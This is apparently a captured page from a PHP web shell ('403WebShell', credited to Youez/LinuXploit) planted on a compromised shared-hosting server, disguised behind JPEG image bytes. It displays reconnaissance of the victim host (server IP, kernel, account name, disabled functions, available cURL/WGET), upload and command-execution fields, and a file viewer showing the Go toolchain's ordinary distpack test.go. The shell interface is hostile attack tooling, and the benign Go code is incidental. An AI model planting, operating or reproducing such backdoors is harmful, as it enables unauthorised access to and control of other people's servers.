JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 185.124.137.200  /  Your IP : 216.73.216.194
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /./proc/thread-self/root/proc/thread-self/root/opt/golang/1.22.0/src/cmd/distpack/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /./proc/thread-self/root/proc/thread-self/root/opt/golang/1.22.0/src/cmd/distpack/test.go
// Copyright 2023 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// This file contains tests applied to the archives before they are written.

package main

import (
	"bytes"
	"fmt"
	"log"
	"os"
	"path"
	"path/filepath"
	"strings"
)

type testRule struct {
	name    string
	goos    string
	exclude bool
}

var srcRules = []testRule{
	{name: "go/VERSION"},
	{name: "go/src/cmd/go/main.go"},
	{name: "go/src/bytes/bytes.go"},
	{name: "**/.DS_Store", exclude: true},
	{name: "go/.git", exclude: true},
	{name: "go/.gitattributes", exclude: true},
	{name: "go/.github", exclude: true},
	{name: "go/VERSION.cache", exclude: true},
	{name: "go/bin/**", exclude: true},
	{name: "go/pkg/**", exclude: true},
	{name: "go/src/cmd/dist/dist", exclude: true},
	{name: "go/src/cmd/dist/dist.exe", exclude: true},
	{name: "go/src/runtime/internal/sys/zversion.go", exclude: true},
	{name: "go/src/time/tzdata/zzipdata.go", exclude: true},
}

var zipRules = []testRule{
	{name: "go/VERSION"},
	{name: "go/src/cmd/go/main.go"},
	{name: "go/src/bytes/bytes.go"},

	{name: "**/.DS_Store", exclude: true},
	{name: "go/.git", exclude: true},
	{name: "go/.gitattributes", exclude: true},
	{name: "go/.github", exclude: true},
	{name: "go/VERSION.cache", exclude: true},
	{name: "go/bin", exclude: true},
	{name: "go/pkg", exclude: true},
	{name: "go/src/cmd/dist/dist", exclude: true},
	{name: "go/src/cmd/dist/dist.exe", exclude: true},

	{name: "go/bin/go", goos: "linux"},
	{name: "go/bin/go", goos: "darwin"},
	{name: "go/bin/go", goos: "windows", exclude: true},
	{name: "go/bin/go.exe", goos: "windows"},
	{name: "go/bin/gofmt", goos: "linux"},
	{name: "go/bin/gofmt", goos: "darwin"},
	{name: "go/bin/gofmt", goos: "windows", exclude: true},
	{name: "go/bin/gofmt.exe", goos: "windows"},
	{name: "go/pkg/tool/*/compile", goos: "linux"},
	{name: "go/pkg/tool/*/compile", goos: "darwin"},
	{name: "go/pkg/tool/*/compile", goos: "windows", exclude: true},
	{name: "go/pkg/tool/*/compile.exe", goos: "windows"},
}

var modRules = []testRule{
	{name: "golang.org/toolchain@*/VERSION"},
	{name: "golang.org/toolchain@*/src/cmd/go/main.go"},
	{name: "golang.org/toolchain@*/src/bytes/bytes.go"},

	{name: "**/.DS_Store", exclude: true},
	{name: "golang.org/toolchain@*/.git", exclude: true},
	{name: "golang.org/toolchain@*/.gitattributes", exclude: true},
	{name: "golang.org/toolchain@*/.github", exclude: true},
	{name: "golang.org/toolchain@*/VERSION.cache", exclude: true},
	{name: "golang.org/toolchain@*/bin", exclude: true},
	{name: "golang.org/toolchain@*/pkg", exclude: true},
	{name: "golang.org/toolchain@*/src/cmd/dist/dist", exclude: true},
	{name: "golang.org/toolchain@*/src/cmd/dist/dist.exe", exclude: true},

	{name: "golang.org/toolchain@*/bin/go", goos: "linux"},
	{name: "golang.org/toolchain@*/bin/go", goos: "darwin"},
	{name: "golang.org/toolchain@*/bin/go", goos: "windows", exclude: true},
	{name: "golang.org/toolchain@*/bin/go.exe", goos: "windows"},
	{name: "golang.org/toolchain@*/bin/gofmt", goos: "linux"},
	{name: "golang.org/toolchain@*/bin/gofmt", goos: "darwin"},
	{name: "golang.org/toolchain@*/bin/gofmt", goos: "windows", exclude: true},
	{name: "golang.org/toolchain@*/bin/gofmt.exe", goos: "windows"},
	{name: "golang.org/toolchain@*/pkg/tool/*/compile", goos: "linux"},
	{name: "golang.org/toolchain@*/pkg/tool/*/compile", goos: "darwin"},
	{name: "golang.org/toolchain@*/pkg/tool/*/compile", goos: "windows", exclude: true},
	{name: "golang.org/toolchain@*/pkg/tool/*/compile.exe", goos: "windows"},

	// go.mod are renamed to _go.mod.
	{name: "**/go.mod", exclude: true},
	{name: "**/_go.mod"},
}

func testSrc(a *Archive) {
	test("source", a, srcRules)

	// Check that no generated files slip in, even if new ones are added.
	for _, f := range a.Files {
		if strings.HasPrefix(path.Base(f.Name), "z") {
			data, err := os.ReadFile(filepath.Join(goroot, strings.TrimPrefix(f.Name, "go/")))
			if err != nil {
				log.Fatalf("checking source archive: %v", err)
			}
			if strings.Contains(string(data), "generated by go tool dist; DO NOT EDIT") {
				log.Fatalf("unexpected source archive file: %s (generated by dist)", f.Name)
			}
		}
	}
}

func testZip(a *Archive) { test("binary", a, zipRules) }
func testMod(a *Archive) { test("module", a, modRules) }

func test(kind string, a *Archive, rules []testRule) {
	ok := true
	have := make([]bool, len(rules))
	for _, f := range a.Files {
		for i, r := range rules {
			if r.goos != "" && r.goos != goos {
				continue
			}
			match, err := amatch(r.name, f.Name)
			if err != nil {
				log.Fatal(err)
			}
			if match {
				if r.exclude {
					ok = false
					if !have[i] {
						log.Printf("unexpected %s archive file: %s", kind, f.Name)
						have[i] = true // silence future prints for excluded directory
					}
				} else {
					have[i] = true
				}
			}
		}
	}
	missing := false
	for i, r := range rules {
		if r.goos != "" && r.goos != goos {
			continue
		}
		if !r.exclude && !have[i] {
			missing = true
			log.Printf("missing %s archive file: %s", kind, r.name)
		}
	}
	if missing {
		ok = false
		var buf bytes.Buffer
		for _, f := range a.Files {
			fmt.Fprintf(&buf, "\n\t%s", f.Name)
		}
		log.Printf("archive contents: %d files%s", len(a.Files), buf.Bytes())
	}
	if !ok {
		log.Fatalf("bad archive file")
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit